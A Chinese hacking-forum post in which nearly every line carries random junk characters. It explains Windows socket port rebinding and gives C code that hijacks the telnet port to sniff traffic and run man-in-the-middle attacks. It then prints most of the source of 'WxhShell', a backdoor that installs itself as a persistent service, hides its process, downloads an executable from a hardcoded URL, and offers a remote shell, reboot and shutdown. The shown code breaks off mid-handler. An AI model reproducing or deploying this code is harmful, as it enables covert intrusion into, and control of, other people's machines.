社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13925阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gUtxyW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #9FY;~  
LL"c 9jb4z  
  saddr.sin_family = AF_INET; Cr#Z.  
i^2-PKPg{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \PJpy^i  
`#x}-A$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); czu?]9;^ Z  
fNnX{Wq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @=G6fW:  
GZCXm+  
  这意味着什么?意味着可以进行如下的攻击: 0V[`zOO(o  
1Q>D^yPI[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y `ySNC  
bHf> EU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "s.]amC  
tX@G`Mr(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5%1a!M M M  
}I>h<O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  b^q8s4(   
i}E&mv'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3Eu;_u_  
$l+DkR+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3]cW08"c  
OuuN~yC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o~J~-$T{  
q88;{?T1  
  #include {Ne5*HFV  
  #include _(1Shm  
  #include @4xV3Xkf&C  
  #include    w+W! dM  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vn(ji=  
  int main() |rr<4>)X  
  { %]1.)j  
  WORD wVersionRequested; jhF&   
  DWORD ret; X5w_ }Nhe  
  WSADATA wsaData; PPMAj@B}V  
  BOOL val; Wkj0z ]]?  
  SOCKADDR_IN saddr; x?rn< =  
  SOCKADDR_IN scaddr;  3<R8_p  
  int err; lGZf_X)gA^  
  SOCKET s; V(c>1xLlz  
  SOCKET sc; 4Mck/i2  
  int caddsize; t$zeB OI)  
  HANDLE mt; N.D7  
  DWORD tid;   ^<OcbOn;O  
  wVersionRequested = MAKEWORD( 2, 2 ); lV M )'m  
  err = WSAStartup( wVersionRequested, &wsaData ); ONU,R\jMb-  
  if ( err != 0 ) { 7Adg;  
  printf("error!WSAStartup failed!\n"); aPR XK1  
  return -1; )~2~q7  
  } \qZ>WCp>r  
  saddr.sin_family = AF_INET; J{qsCJiB  
   pr?k~Bn  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;]\>jC  
$/#F9>eZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rm?C_  
  saddr.sin_port = htons(23); UVlh7wjg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %yPjPUHy  
  {  Jk>!I\  
  printf("error!socket failed!\n"); G<:gNWXd\  
  return -1; `)WC|=w2  
  } Rx,5?*b$  
  val = TRUE; l?<DY$H 0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 aGbHDo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !))!! {  
  { Hn sPXF'8g  
  printf("error!setsockopt failed!\n"); K=N8O8R$y  
  return -1; %Kzu&*9Hb  
  } Vf#g~IOI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LTWiCI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^Gwpx +  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &qyXi[vw  
5hj _YqQ7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;FnU[Q`M#L  
  { CEh!X=Nn  
  ret=GetLastError(); aE 2=  
  printf("error!bind failed!\n"); C'.^2s#e8  
  return -1; 'PWX19  
  } <IO@Qj1*  
  listen(s,2); S;iJQS   
  while(1) TD.t)  
  { )o`[wq  
  caddsize = sizeof(scaddr); ~i UG24v  
  //接受连接请求 rd1EA|T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3-v&ktD&N'  
  if(sc!=INVALID_SOCKET) L}=t"y  
  { 6`WI S4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '_B;e=v`  
  if(mt==NULL) ?*L{xNC#  
  { AwtiV-w  
  printf("Thread Creat Failed!\n"); `R m<1  
  break; :j&-Lc  
  } e4LJ3y&z"  
  } WX4 f3Um  
  CloseHandle(mt); vI \8@97  
  } }uiD8b{I  
  closesocket(s); au#/Q  
  WSACleanup(); a[=;6!  
  return 0; p\22_m_wd  
  }   5$&',v(  
  DWORD WINAPI ClientThread(LPVOID lpParam) hV}C.- 6h  
  { !QlCt>{  
  SOCKET ss = (SOCKET)lpParam; 4L/nEZ!Nsu  
  SOCKET sc; $[0\Th  
  unsigned char buf[4096]; Go)}%[@w  
  SOCKADDR_IN saddr; Ia j`u  
  long num; 4 z^7T  
  DWORD val; oer3DD(  
  DWORD ret; I(uM`g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +:3s f%0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =wznkqyhi  
  saddr.sin_family = AF_INET; !CUM*<iV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d]vom@iI  
  saddr.sin_port = htons(23); y<kg;-& 8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s1bb2R  
  { -,q qQf  
  printf("error!socket failed!\n"); i hcSSUm  
  return -1; `_e5pW=:>  
  } 2$b JMx>  
  val = 100; [L=M=;{4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @k9n0Qe|F  
  { z:oi @q  
  ret = GetLastError(); GG %*d]  
  return -1; ^G14Z5.  
  } ($Q|9>5,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [&pMU)   
  { HdRwDW@7=  
  ret = GetLastError(); #xh M&X  
  return -1; cb }OjM F  
  } A [_T~+-G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xg;vQKS6  
  { Ui'*$W]v  
  printf("error!socket connect failed!\n"); ?OFfU  4  
  closesocket(sc); Y^b}~t  
  closesocket(ss); |]eWO#vs  
  return -1; >{[  
  } y*!8[wASHq  
  while(1) "u)Le6.  
  { }b^x#HC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vG:S(/\>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V;"Rp-`^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gI00@p:m  
  num = recv(ss,buf,4096,0); "dHo6CT,y_  
  if(num>0) )cU$I)  
  send(sc,buf,num,0); w\a6ga!xt"  
  else if(num==0) 5[]Yxl  
  break; 5!BW!-q  
  num = recv(sc,buf,4096,0); Fg0!2MKq*  
  if(num>0) d^8n  
  send(ss,buf,num,0); NInZ~4:  
  else if(num==0) O-!Q~;3][  
  break; W9;9\k  
  } S@Aw1i p  
  closesocket(ss); Z|xgZG{  
  closesocket(sc); &aPR"X  
  return 0 ; ]IH1_?HgP7  
  } qfqL"G  
8x-(7[#e<g  
j!"5, ~  
========================================================== <8^ws90Y  
5 p ,HkV  
下边附上一个代码,,WXhSHELL : . PRM+  
[WI'oy  
========================================================== EUW>8kw0  
ccT <UIpq  
#include "stdafx.h" wli H3vA_  
yIg^iZD  
#include <stdio.h> G +AP."M?  
#include <string.h> u/ri {neP{  
#include <windows.h> 6!H,(Z]j  
#include <winsock2.h> UkcH+0o  
#include <winsvc.h> `A<2wd;  
#include <urlmon.h> K{:[0oIHc  
LTuT"}dT[  
#pragma comment (lib, "Ws2_32.lib") % CQv&d2  
#pragma comment (lib, "urlmon.lib") KE-0/m4yJ  
izu_1X  
#define MAX_USER   100 // 最大客户端连接数 rdsZ[ii  
#define BUF_SOCK   200 // sock buffer T.W^L'L `  
#define KEY_BUFF   255 // 输入 buffer UG3}|\.u  
^].U?t.n)  
#define REBOOT     0   // 重启 F<b/)<Bm=  
#define SHUTDOWN   1   // 关机 Rh%@N.Z*  
_w2%!+'  
#define DEF_PORT   5000 // 监听端口 $,0EV9+af  
$xis4/2  
#define REG_LEN     16   // 注册表键长度 .)<l69ZD Z  
#define SVC_LEN     80   // NT服务名长度 $4Dr +Z H  
3R)|DGql=1  
// 从dll定义API ! F<::fN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7g:Lj,Z4L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ez~u A4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IaK J W?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s1tkiX{>  
dptfIBYc+  
// wxhshell配置信息 !x! 1H5"  
struct WSCFG { OI kjO}/7  
  int ws_port;         // 监听端口 K"ly\$F  
  char ws_passstr[REG_LEN]; // 口令 @>&b&uj7T  
  int ws_autoins;       // 安装标记, 1=yes 0=no /qFY $vj  
  char ws_regname[REG_LEN]; // 注册表键名 = ?BhtW  
  char ws_svcname[REG_LEN]; // 服务名 E{}J-_oS45  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^Jw=5 ImG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r;p@T8k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o#WECs>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (M<l}pl)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gf}*}8D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^^< C9  
yYrFk^  
}; Ibx\k  
uN1VkmtDO  
// default Wxhshell configuration #fk1'c2  
struct WSCFG wscfg={DEF_PORT,  ^Vf@J  
    "xuhuanlingzhe", gX*j|( r  
    1, 0|g@; Pc  
    "Wxhshell", {`-AIlH(  
    "Wxhshell", Hp5.F>-  
            "WxhShell Service", vy` lfbX@  
    "Wrsky Windows CmdShell Service", "H=N>=g0E  
    "Please Input Your Password: ", %Y,Ru)5}  
  1, 8l'W[6  
  "http://www.wrsky.com/wxhshell.exe", PXML1.r$Q  
  "Wxhshell.exe" e,d}4 jy  
    }; @|s$ :;(=  
:yTr:FoF  
// 消息定义模块 ;- _ZWk]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %gWQ}QF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YW"uC\kg|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <~aKwSF[wW  
char *msg_ws_ext="\n\rExit."; P4.)kK.3q|  
char *msg_ws_end="\n\rQuit."; [XubzZ9  
char *msg_ws_boot="\n\rReboot..."; rITA-W O  
char *msg_ws_poff="\n\rShutdown..."; /qMiv7m~Q  
char *msg_ws_down="\n\rSave to "; kU#k#4X4g  
6:AEg  
char *msg_ws_err="\n\rErr!"; Af r*'  
char *msg_ws_ok="\n\rOK!";  Frz  
cc>b#&s  
char ExeFile[MAX_PATH]; lnK  
int nUser = 0; 7{7Y[F0  
HANDLE handles[MAX_USER]; FHEP/T\5  
int OsIsNt; 3177R>0  
mwsdl^c  
SERVICE_STATUS       serviceStatus; apt$e$g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :X:s'I4J D  
Bsha)<  
// 函数声明 @/:7G.  
int Install(void); r^H,H'BohJ  
int Uninstall(void); /^v!B`A @  
int DownloadFile(char *sURL, SOCKET wsh); 9JX@c k  
int Boot(int flag); {:3:GdM6  
void HideProc(void); %3AE2"  
int GetOsVer(void); Z>3m-:-e  
int Wxhshell(SOCKET wsl); 1.PN_9%  
void TalkWithClient(void *cs); 5g O9 <  
int CmdShell(SOCKET sock); 0*+EYnu+  
int StartFromService(void); x+ER 3wDD@  
int StartWxhshell(LPSTR lpCmdLine); k_uI&,  
*$`N5;7'`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &#KN"uPW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \)6bLB!  
9%53 _nx?  
// 数据结构和表定义 s= 5 k7  
SERVICE_TABLE_ENTRY DispatchTable[] = q+2A>:|  
{ fE_%,DJE(  
{wscfg.ws_svcname, NTServiceMain}, `& '{R<cL  
{NULL, NULL} #9 Fk&Lx  
}; iX<" \pV  
wwQ2\2w>Hm  
// 自我安装 H=w):kL|  
int Install(void) vVIN D  
{ g'{?j~g  
  char svExeFile[MAX_PATH]; Ryh 0r  
  HKEY key; (:O6sTx-hE  
  strcpy(svExeFile,ExeFile); z]-m<#1  
&328pOT4  
// 如果是win9x系统,修改注册表设为自启动 w w[|| =  
if(!OsIsNt) { BkPt 1i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TU58  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `M{Ne:J  
  RegCloseKey(key); t\'MB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [@JK|50|K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pKGhNIj$  
  RegCloseKey(key); O[{/P:a  
  return 0; &/-MUKN  
    } nC!]@lA  
  } KLj=M;$:K  
} 12?!Z  
else { wa{!%qu5.R  
m#i4_F=^b  
// 如果是NT以上系统,安装为系统服务 e|5@7~Vi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I/!AjB8W4  
if (schSCManager!=0) -iY-rzW  
{ `#wEa'v6  
  SC_HANDLE schService = CreateService f F)M'C  
  ( S=.%aB  
  schSCManager, ULBEe@ s  
  wscfg.ws_svcname, jT< I`K*  
  wscfg.ws_svcdisp, ?1c7wEk  
  SERVICE_ALL_ACCESS, </@5>hx/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x DN u'  
  SERVICE_AUTO_START, j@^zK!mO  
  SERVICE_ERROR_NORMAL, Bg[yn<) ]  
  svExeFile, $Dx*[.M3>  
  NULL, b/Ma,}  
  NULL, z wRF-{s  
  NULL, LI25VDZ|iP  
  NULL, &BNlMF  
  NULL f~PS'I_r  
  ); 7R m\#  
  if (schService!=0) NZ&ZK@h}.  
  { UKV<Ye|  
  CloseServiceHandle(schService); x?lRObHK  
  CloseServiceHandle(schSCManager); WT")tjVKA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _| cSXZ|  
  strcat(svExeFile,wscfg.ws_svcname); 4o;;'P   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k;`1Ia  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8 5)C7tJ-g  
  RegCloseKey(key); 6<>1,wbq  
  return 0; }{j@q~w>$  
    } r_T"b  
  } r@]`#PL  
  CloseServiceHandle(schSCManager); at{p4Sl  
} Ha/Qz'^S;  
} =Ul"{T<  
i2rSP$j  
return 1; [Gv8Fn/aG  
} Y\WVkd(+G  
lY(_e#  
// 自我卸载 >ov#\  
int Uninstall(void) * ?~"Jw  
{ n7G`b'  
  HKEY key; uDkX{<_Xe  
=+Odu  
if(!OsIsNt) { 6}Tftw$0z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S)wP];]`K  
  RegDeleteValue(key,wscfg.ws_regname); A+foc5B  
  RegCloseKey(key); 9-q> W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d$x vEm  
  RegDeleteValue(key,wscfg.ws_regname); (V&d:tW  
  RegCloseKey(key); 9}a$0H h  
  return 0; K(PSGlI f  
  } ]!P8{xmb@  
} Mzg P@tB  
} "S6";G^I  
else { zLJmHb{(  
Zi7cp6~7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OIpT9  
if (schSCManager!=0) zv0sz])  
{ ,7:-V<'Yv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]s^+/8d=  
  if (schService!=0) Vy[xu$y  
  { !.q99DB  
  if(DeleteService(schService)!=0) { }F/w34+;  
  CloseServiceHandle(schService); jP_s(PQ  
  CloseServiceHandle(schSCManager); ~_"V7  
  return 0; 8@(?E[&O>  
  } @_$$'XA7  
  CloseServiceHandle(schService); lF.kAEC  
  } V!Sm,S(  
  CloseServiceHandle(schSCManager); 3{t[>O;  
} _deEs5i  
} X$1YvYsID  
~|Ln9f-g  
return 1; , .~ k  
} pjTJZhT2I  
dQ-shfTr]  
// 从指定url下载文件 j<~T:Tk  
int DownloadFile(char *sURL, SOCKET wsh) <-b9 )>  
{ .K(9=yh  
  HRESULT hr; &0y` Gt  
char seps[]= "/"; yEbo`/ ]b  
char *token; %HtgZeY  
char *file; .U@u |  
char myURL[MAX_PATH]; ~$C<^?"b  
char myFILE[MAX_PATH]; Gos# =H  
Y@#N_]oXj  
strcpy(myURL,sURL); trrK6(p  
  token=strtok(myURL,seps); BY[7`@  
  while(token!=NULL) t2OBVzK  
  { na8`V`77  
    file=token; IzUpkwN  
  token=strtok(NULL,seps); EirZ}fDJzB  
  } 7)[Ve1;/N  
+[MHl  
GetCurrentDirectory(MAX_PATH,myFILE); i/'bpGrQ(  
strcat(myFILE, "\\"); DUl+Jqn4B  
strcat(myFILE, file); [wm0a4fg  
  send(wsh,myFILE,strlen(myFILE),0); 1:^Xd~X  
send(wsh,"...",3,0); r,Xyb`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XMkRYI1~  
  if(hr==S_OK) }0]uA|lH*  
return 0; pg7~%E4  
else JrLh=0i9  
return 1; |te=DCO  
,.V<rDwN&  
} ;n*|AL7(  
~&RrlFh  
// 系统电源模块 ?<W|Ya  
int Boot(int flag) !vJ$$o6#  
{ <bo)p6S&  
  HANDLE hToken; v6=%KXSF  
  TOKEN_PRIVILEGES tkp; o8<~zeI  
oOvQA W8`  
  if(OsIsNt) { un~`|   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l5VRdZ4Uf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); & C)1(  
    tkp.PrivilegeCount = 1; ,lvG5B\0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :2==7u7v?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uQx/o ^  
if(flag==REBOOT) { B|"i`{>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i.Y2]1  
  return 0; BLaNS4e  
} n-jPb064  
else { 4TPdq&';C:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m> P\}A^N  
  return 0; 9{Etv w  
} 6.KEe^[-  
  } ] L#c <0  
  else { Jh&DL8`  
if(flag==REBOOT) { M@h"FuX:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1|xe'w{  
  return 0; D^m2iW;  
} 0?/gEr  
else { ^zO{Aks  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'fb\t,  
  return 0; FI?J8a  
} !i (V.A  
} fi*b]a\'  
< B]qqqP  
return 1; &QfEDDJ  
} P)f8 lU^z  
m{RXt  
// win9x进程隐藏模块 %} zkmEY.e  
void HideProc(void) 4D<C;>*/b  
{ O<L=N-  
U*Y]cohh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2/V%jS[4#y  
  if ( hKernel != NULL ) |T/OOIA=sI  
  { a5 ZXrWv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9XDSL[[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x X3I`  
    FreeLibrary(hKernel); Ym\<@[3+!  
  } !\1)?&y9j  
LkzA_|8:D  
return; e>e${\ =,  
} Bi \fB-|  
IaSPwsvt'  
// 获取操作系统版本 RDHK'PGA  
int GetOsVer(void) \C>IVz<O  
{ ;K8}Yq9p9  
  OSVERSIONINFO winfo; X=m^+%iD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |3B<;/v5  
  GetVersionEx(&winfo); 7~Inxk;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W =Bw*o-  
  return 1; l\V1c90m  
  else %regt{  
  return 0; F4T!&E%6  
} N]/cBGy  
gvWgw7z  
// 客户端句柄模块 /LWk>[Z;  
int Wxhshell(SOCKET wsl) ;-py h(  
{ hO.b?>3NL  
  SOCKET wsh; Fy E#@ R  
  struct sockaddr_in client; xsRkO9x  
  DWORD myID; Lm`-q(!7w  
rBQ<5.  
  while(nUser<MAX_USER) YV|_y:-  
{ A+dx7anUz  
  int nSize=sizeof(client); @#W4?L*D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _)= e`9%  
  if(wsh==INVALID_SOCKET) return 1; mCg^Y)Q  
,@;|+C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4<UAT|L^`  
if(handles[nUser]==0) qCrpc=  
  closesocket(wsh); &53,8r  
else $#5 'c+0  
  nUser++; aL&egM*  
  } psIo[.$rTk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~:Z|\a58j  
M"s:*c_6  
  return 0; !^MwE]  
} ue7D' UZL>  
\Q}Y"oq  
// 关闭 socket U.~G{H`G,u  
void CloseIt(SOCKET wsh) s Y1@~v  
{ s=jH1^  
closesocket(wsh); MmvJ)|&t  
nUser--; 4l*cX1!  
ExitThread(0); o@360#njF  
} f!YlYk5  
&P}t<;  
// 客户端请求句柄 |+HJ>xA4I  
void TalkWithClient(void *cs) Wm"#"l4  
{ zJ}abo6rVw  
k.54lNl  
  SOCKET wsh=(SOCKET)cs; U%@C<o "  
  char pwd[SVC_LEN]; RaSuzy^`*]  
  char cmd[KEY_BUFF]; + (:Qf+:  
char chr[1]; Y{dX[^[  
int i,j; 7n84`|=  
I`IW^eZM  
  while (nUser < MAX_USER) { Y&,}q_Z:  
t`hes $E  
if(wscfg.ws_passstr) { -lfDoNRhQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \/ri|fm6l#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DS%]7,g]  
  //ZeroMemory(pwd,KEY_BUFF); O[U`(A:  
      i=0; @.k^ 8hc  
  while(i<SVC_LEN) { M'R ] ''  
F~rl24F  
  // 设置超时 l{^s4  
  fd_set FdRead; L{IMZ+IB2|  
  struct timeval TimeOut; 6l4=  
  FD_ZERO(&FdRead); Z5U\>7@&8  
  FD_SET(wsh,&FdRead); G^h:#T  
  TimeOut.tv_sec=8; +$>aT (q  
  TimeOut.tv_usec=0; K5`*Y@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g.62XZF@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qk^/ &j  
fsEQ4xN'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E6xdPjoWy  
  pwd=chr[0]; hfbu+w):  
  if(chr[0]==0xd || chr[0]==0xa) { {0,6- dd5  
  pwd=0; sx7zRw >X  
  break; T3=h7a %=  
  } [x, `)Fk  
  i++; -:r<sv$  
    } 0>-}c>  
Ex]Ku  
  // 如果是非法用户,关闭 socket xuqG)HthRS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w1zMY:9  
} #M!{D  
}JQy&V%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b[:m[^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7p!f+\kM  
C`qV+pV  
while(1) { b=sY%(2s  
r~QE}00@^  
  ZeroMemory(cmd,KEY_BUFF); HWFTI /]  
*(vh|  
      // 自动支持客户端 telnet标准   '/loJz 1  
  j=0; 862rol  
  while(j<KEY_BUFF) { ]i,o+xBKH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K9}Brhe  
  cmd[j]=chr[0]; vAop#V  
  if(chr[0]==0xa || chr[0]==0xd) { AH'3 5Kf)  
  cmd[j]=0; 0x*|X@ 6\  
  break; o>+mw|{  
  } FY)]yz  
  j++; g<^A(zM  
    } M?('VOy)  
.C+(E@eyA  
  // 下载文件 P =Q+VIP&  
  if(strstr(cmd,"http://")) { RiQg]3oY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jo;&~/ V   
  if(DownloadFile(cmd,wsh)) >tMI%r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <9xr? i=  
  else 1Lje.%(E.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dSTyx#o  
  } ~9k E.  
  else { ^  ~1QA  
s%vy^x29  
    switch(cmd[0]) { qW4\t  
  "D4% A!i  
  // 帮助 (s|WmSQ  
  case '?': { oy[ px9Wx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 16@<G  
    break; F+BCzsm7$  
  } GZx*A S]+  
  // 安装 :YkAp9civ  
  case 'i': { {=&( { cS  
    if(Install()) uxKO"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tZg)VJQys  
    else y>h9:q|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "u$XEA  
    break; |Go$z3bx  
    } aTH$+f1?Q  
  // 卸载 !RwhVaSh  
  case 'r': { y.8nzlkE{  
    if(Uninstall()) y#`;[!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aEa+?6;D  
    else \=|=(kt)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vQ2{ +5!|  
    break; e~'z;% O~  
    } qZV|}M>P)  
  // 显示 wxhshell 所在路径 /ET+`=n  
  case 'p': { Q*'OY~  
    char svExeFile[MAX_PATH]; ;0 +Dx~  
    strcpy(svExeFile,"\n\r"); 0/!0W%f[}  
      strcat(svExeFile,ExeFile); SS _6VE*sI  
        send(wsh,svExeFile,strlen(svExeFile),0); .ej+?QYwC  
    break; k5Q1.;fW76  
    } jxhZOLG  
  // 重启 }?6;;d#  
  case 'b': { j5/|1N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;iJxJX\+  
    if(Boot(REBOOT)) !.pcldx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); } C/+zF6q  
    else { h|Qb:zEP,  
    closesocket(wsh); O<@L~S]  
    ExitThread(0); "szJ[ _B  
    } *h).V&::O  
